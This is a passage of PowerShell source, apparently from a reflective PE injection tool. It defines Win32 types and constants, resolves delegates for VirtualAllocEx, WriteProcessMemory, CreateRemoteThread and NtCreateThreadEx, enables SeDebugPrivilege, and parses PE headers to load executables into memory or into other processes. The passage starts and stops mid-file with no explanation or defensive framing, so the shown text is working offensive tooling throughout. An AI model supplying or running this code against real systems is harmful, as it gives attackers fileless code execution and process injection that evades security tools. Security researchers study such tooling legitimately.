$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
return $Win32Functions
}
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Get-Hex
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
$Value #We will determine the type dynamically
)
$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
return $Hex
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
{
Throw "Trying to write to memory greater than allocated address range. $DebugString"
}
}
Function Write-BytesToMemory
{
Param(
[Parameter(Position=0, Mandatory = $true)]
[Byte[]]
$Bytes,
[Parameter(Position=1, Mandatory = $true)]
[IntPtr]
$MemoryAddress
)
for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
{
[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
}
}
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Function Enable-SeDebugPrivilege
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
if ($ThreadHandle -eq [IntPtr]::Zero)
{
Throw "Unable to get the handle to the current thread"
}
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
{
$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
if ($Result -eq $false)
{
Throw "Unable to impersonate self"
}
$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
if ($Result -eq $false)
{
Throw "Unable to OpenThreadToken."
}
}
else
{
Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
}
}
[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
if ($Result -eq $false)
{
Throw "Unable to call LookupPrivilegeValue"
}
[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
$TokenPrivileges.PrivilegeCount = 1
$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
if (($Result -eq $false) -or ($ErrorCode -ne 0))
{
}
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
}
Function Create-RemoteThread
{
Param(
[Parameter(Position = 1, Mandatory = $true)]
[IntPtr]
$ProcessHandle,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(Position = 3, Mandatory = $false)]
[IntPtr]
$ArgumentPtr = [IntPtr]::Zero,
[Parameter(Position = 4, Mandatory = $true)]
[System.Object]
$Win32Functions
)
[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
$OSVersion = [Environment]::OSVersion.Version
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
{
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
}
}
else
{
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
}
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
{
Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
}
return $RemoteThreadHandle
}
Function Get-ImageNtHeaders
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$NtHeadersInfo = New-Object System.Object
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
if ($imageNtHeaders64.Signature -ne 0x00004550)
{
throw "Invalid IMAGE_NT_HEADER signature."
}
if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
}
else
{
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
}
return $NtHeadersInfo
}
Function Get-PEBasicInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types
)
$PEInfo = New-Object System.Object
[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
return $PEInfo
}
Function Get-PEDetailedInfo
{
Param(
[Parameter( Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
{
throw 'PEHandle is null or IntPtr.Zero'
}
$PEInfo = New-Object System.Object
$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
